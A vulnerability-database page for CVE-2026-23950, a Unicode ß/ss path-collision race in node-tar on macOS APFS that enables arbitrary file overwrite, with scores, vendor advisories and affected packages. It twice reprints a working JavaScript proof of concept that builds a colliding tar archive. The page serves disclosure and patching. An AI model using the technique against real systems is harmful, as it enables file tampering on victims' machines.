CVE-2026-23950
node-tar has Race Condition in Path Reservations via Unicode Ligature Collisions on macOS APFS
node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
8.8
node-tar has Race Condition in Path Reservations via Unicode Ligature Collisions on macOS APFS
node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
- Record
CVE-2026-23950- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Weakness
- CWE-176, CWE-352, CWE-367, CWE-367
- Updated
- 2026-11-02
EUVDEUVD-2026-3595
8.8
node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
- Record
EUVD-2026-3595- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-r6q2-hw4h-h46w
8.8
Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS
TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
AUTHOR: Tomás Illuminati
Details
A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
paths =
isWindows ?
['win32 parallelization disabled']
: paths.map(p => {
return stripTrailingSlashes(
join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
).toLowerCase()
})
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .
drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..
-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss
bash-3.2$
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Impact
This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in…
- Record
GHSA-r6q2-hw4h-h46w- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Weakness
- CWE-176, CWE-367
- Updated
- 2026-11-02
NVD
8.8
node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
- Record
CVE-2026-23950- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-176, CWE-352, CWE-367
- Updated
- 2026-11-02
OSV
8.8
node-tar has Race Condition in Path Reservations via Unicode Ligature Collisions on macOS APFS
node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
- Record
CVE-2026-23950- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Weakness
- CWE-176, CWE-352, CWE-367
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-23950
5.9
node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
- Record
DEBIAN-CVE-2026-23950- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
Show 20 moreShow less
OSVGHSA-r6q2-hw4h-h46w
8.8
Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS
TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
AUTHOR: Tomás Illuminati
Details
A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
paths =
isWindows ?
['win32 parallelization disabled']
: paths.map(p => {
return stripTrailingSlashes(
join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
).toLowerCase()
})
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .
drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..
-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss
bash-3.2$
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Impact
This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in…
- Record
GHSA-r6q2-hw4h-h46w- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Weakness
- CWE-176, CWE-367
- Updated
- 2026-11-02
OSVRHSA-2026:18480
8.8
Red Hat Security Advisory: linux-sgx security update
- Record
RHSA-2026:18480- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Updated
- 2026-11-02
OSVRHSA-2026:18868
8.8
Red Hat Security Advisory: linux-sgx security update
- Record
RHSA-2026:18868- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Updated
- 2026-11-02
OSVRLSA-2026:18480
8.8
Important: linux-sgx security update
The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.
Security Fix(es):
-
qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)
-
node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)
-
node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)
-
lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)
-
node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Additional Changes:
For detailed information on changes in this release, see the Rocky Linux 10 Release Notes linked from the References section.
- Record
RLSA-2026:18480- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Updated
- 2026-11-02
OSVRLSA-2026:18868
8.8
Important: linux-sgx security update
The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.
Security Fix(es):
-
qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)
-
node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)
-
node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)
-
lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)
-
node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Additional Changes:
For detailed information on changes in this release, see the Rocky Linux 9 Release Notes linked from the References section.
- Record
RLSA-2026:18868- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-23950
8.8
CVE-2026-23950 in tar - Patched by Root
Root has patched CVE-2026-23950 in the tar package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-23950- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-23950
8.8
node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
- Record
UBUNTU-CVE-2026-23950- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
OSVALSA-2026:18480 No score
Important: linux-sgx security update
The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.
Security Fix(es):
- qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)
- node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)
- node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)
- lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)
- node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Additional Changes:
For detailed information on changes in this release, see the AlmaLinux Release Notes linked from the References section.
- Record
ALSA-2026:18480- Updated
- 2026-11-02
OSVALSA-2026:18868 No score
Important: linux-sgx security update
The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and debug Intel SGX enabled applications in C/C++.
Security Fix(es):
- qs: qs: Denial of Service via improper input validation in array parsing (CVE-2025-15284)
- node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives (CVE-2026-23745)
- node-tar: tar: node-tar: Arbitrary file overwrite via Unicode path collision race condition (CVE-2026-23950)
- lodash: prototype pollution in _.unset and _.omit functions (CVE-2025-13465)
- node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check (CVE-2026-24842)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Additional Changes:
For detailed information on changes in this release, see the AlmaLinuxRelease Notes linked from the References section.
- Record
ALSA-2026:18868- Updated
- 2026-11-02
OSVCLSA-2026-1773188129 No score
TuxCare security update for tar (7 CVEs)
TuxCare rebuilt tar to address 7 CVEs. Fixed in 2.2.2-tuxcare.1.
- Record
CLSA-2026-1773188129- Updated
- 2026-11-02
OSVCLSA-2026-1773533794 No score
TuxCare security update for tar (6 CVEs)
TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.2.1-tuxcare.1.
- Record
CLSA-2026-1773533794- Updated
- 2026-11-02
OSVCLSA-2026-1773706632 No score
TuxCare security update for tar (4 CVEs)
TuxCare rebuilt tar to address 4 CVEs. Fixed in 1.0.3-tuxcare.2.
- Record
CLSA-2026-1773706632- Updated
- 2026-11-02
OSVCLSA-2026-1774830255 No score
TuxCare security update for tar (4 CVEs)
TuxCare rebuilt tar to address 4 CVEs. Fixed in 2.1.1-tuxcare.2.
- Record
CLSA-2026-1774830255- Updated
- 2026-11-02
OSVCLSA-2026-1784509856 No score
TuxCare security update for tar (2 CVEs)
TuxCare rebuilt tar to address 2 CVEs. Fixed in 6.2.0-tuxcare.2.
- Record
CLSA-2026-1784509856- Updated
- 2026-11-02
OSVCLSA-2026-1787823934 No score
TuxCare security update for tar (4 CVEs)
TuxCare rebuilt tar to address 4 CVEs. Fixed in 6.0.2-tuxcare.1.
- Record
CLSA-2026-1787823934- Updated
- 2026-11-02
OSVCLSA-2026-1787916963 No score
TuxCare security update for tar (5 CVEs)
TuxCare rebuilt tar to address 5 CVEs. Fixed in 6.2.0-tuxcare.2.
- Record
CLSA-2026-1787916963- Updated
- 2026-11-02
OSVCLSA-2026-1792074305 No score
TuxCare security update for tar (12 CVEs)
TuxCare rebuilt tar to address 12 CVEs. Fixed in 6.0.2-tuxcare.6.
- Record
CLSA-2026-1792074305- Updated
- 2026-11-02
OSVCLSA-2026-1792164662 No score
TuxCare security update for tar (8 CVEs)
TuxCare rebuilt tar to address 8 CVEs. Fixed in 6.1.6-tuxcare.1.
- Record
CLSA-2026-1792164662- Updated
- 2026-11-02
OSVCLSA-2026-1792369404 No score
TuxCare security update for tar (9 CVEs)
TuxCare rebuilt tar to address 9 CVEs. Fixed in 6.1.0-tuxcare.2.
- Record
CLSA-2026-1792369404- Updated
- 2026-11-02
OSVCLSA-2026-1793307830 No score
TuxCare security update for tar (11 CVEs)
TuxCare rebuilt tar to address 11 CVEs. Fixed in 4.4.19-tuxcare.5.
- Record
CLSA-2026-1793307830- Updated
- 2026-11-02
Affected products
- isaacs node-tar
- isaacs tar
- red hat confidential compute attestation
- red hat cryostat 4
- red hat logging subsystem for red hat openshift
- red hat migration toolkit for containers
- red hat multicluster engine for kubernetes
- red hat network observability operator
- red hat node healthcheck operator
- red hat openshift lightspeed
- red hat openshift pipelines
- red hat openshift serverless
Show 28 moreShow less
- red hat 3scale api management platform 2
- red hat advanced cluster management for kubernetes 2
- red hat amq broker 7
- red hat ansible automation platform 2
- red hat build of apache camel - hawtio 4
- red hat connectivity link 1
- red hat developer hub
- red hat enterprise linux 10
- red hat enterprise linux 6
- red hat enterprise linux 7
- red hat enterprise linux 8
- red hat enterprise linux 9
- red hat enterprise linux ai (rhel ai) 3
- red hat fuse 7
- red hat jboss enterprise application platform 7
- red hat jboss enterprise application platform 8
- red hat jboss enterprise application platform expansion pack
- red hat openshift ai (rhoai)
- red hat openshift container platform 4
- red hat openshift data foundation 4
- red hat openshift dev spaces 3.27
- red hat openshift gitops
- red hat process automation 7
- red hat quay 3
- red hat satellite 6
- red hat single sign-on 7
- red hat trusted artifact signer 1.2
- red hat trusted artifact signer 1.3
Affected packages
| Package | Affected | Fixed |
|---|---|---|
tarnpm |
through 7.5.3 | 7.5.4 |
sgx-commonAlmaLinux:10 From an advisory covering 5 CVEs |
before 2.26-7.el10 | 2.26-7.el10 |
sgx-libsAlmaLinux:10 From an advisory covering 5 CVEs |
before 2.26-7.el10 | 2.26-7.el10 |
sgx-mpaAlmaLinux:10 From an advisory covering 5 CVEs |
before 2.26-7.el10 | 2.26-7.el10 |
sgx-pccsAlmaLinux:10 From an advisory covering 5 CVEs |
before 2.26-7.el10 | 2.26-7.el10 |
sgx-pccs-adminAlmaLinux:10 From an advisory covering 5 CVEs |
before 2.26-7.el10 | 2.26-7.el10 |
sgx-pckid-toolAlmaLinux:10 From an advisory covering 5 CVEs |
before 2.26-7.el10 | 2.26-7.el10 |
tdx-qgsAlmaLinux:10 From an advisory covering 5 CVEs |
before 2.26-7.el10 | 2.26-7.el10 |
sgx-commonAlmaLinux:9 From an advisory covering 5 CVEs |
before 2.26-7.el9 | 2.26-7.el9 |
sgx-libsAlmaLinux:9 From an advisory covering 5 CVEs |
before 2.26-7.el9 | 2.26-7.el9 |
Show 65 moreShow less
| Package | Affected | Fixed |
|---|---|---|
sgx-mpaAlmaLinux:9 From an advisory covering 5 CVEs |
before 2.26-7.el9 | 2.26-7.el9 |
sgx-pccsAlmaLinux:9 From an advisory covering 5 CVEs |
before 2.26-7.el9 | 2.26-7.el9 |
sgx-pccs-adminAlmaLinux:9 From an advisory covering 5 CVEs |
before 2.26-7.el9 | 2.26-7.el9 |
sgx-pckid-toolAlmaLinux:9 From an advisory covering 5 CVEs |
before 2.26-7.el9 | 2.26-7.el9 |
tdx-qgsAlmaLinux:9 From an advisory covering 5 CVEs |
before 2.26-7.el9 | 2.26-7.el9 |
tarTuxCare:npm From an advisory covering 7 CVEs |
2.2.2-tuxcare.0 up to 2.2.2-tuxcare.1, plus listed versions 2.2.2 |
2.2.2-tuxcare.1 |
tarTuxCare:npm From an advisory covering 6 CVEs |
6.2.1-tuxcare.0 up to 6.2.1-tuxcare.1, plus listed versions 6.2.1 |
6.2.1-tuxcare.1 |
tarTuxCare:npm From an advisory covering 4 CVEs |
1.0.3-tuxcare.0 up to 1.0.3-tuxcare.2, plus listed versions 1.0.31.0.3-tuxcare.1 |
1.0.3-tuxcare.2 |
tarTuxCare:npm From an advisory covering 4 CVEs |
2.1.1-tuxcare.0 up to 2.1.1-tuxcare.2, plus listed versions 2.1.12.1.1-tuxcare.1 |
2.1.1-tuxcare.2 |
tarTuxCare:npm From an advisory covering 2 CVEs |
6.2.0-tuxcare.0 up to 6.2.0-tuxcare.2, plus listed versions 6.2.06.2.0-tuxcare.1 |
6.2.0-tuxcare.2 |
tarTuxCare:npm From an advisory covering 11 CVEs |
6.0.2-tuxcare.0 up to 6.0.2-tuxcare.6, plus listed versions 6.0.26.0.2-tuxcare.16.0.2-tuxcare.26.0.2-tuxcare.36.0.2-tuxcare.46.0.2-tuxcare.5 |
6.0.2-tuxcare.6 |
tarTuxCare:npm From an advisory covering 8 CVEs |
6.1.6-tuxcare.0 up to 6.1.6-tuxcare.1, plus listed versions 6.1.6 |
6.1.6-tuxcare.1 |
tarTuxCare:npm From an advisory covering 9 CVEs |
6.1.0-tuxcare.0 up to 6.1.0-tuxcare.2, plus listed versions 6.1.06.1.0-tuxcare.1 |
6.1.0-tuxcare.2 |
tarTuxCare:npm From an advisory covering 10 CVEs |
4.4.19-tuxcare.0 up to 4.4.19-tuxcare.5, plus listed versions 4.4.194.4.19-tuxcare.14.4.19-tuxcare.24.4.19-tuxcare.34.4.19-tuxcare.4 |
4.4.19-tuxcare.5 |
node-tarDebian:12 |
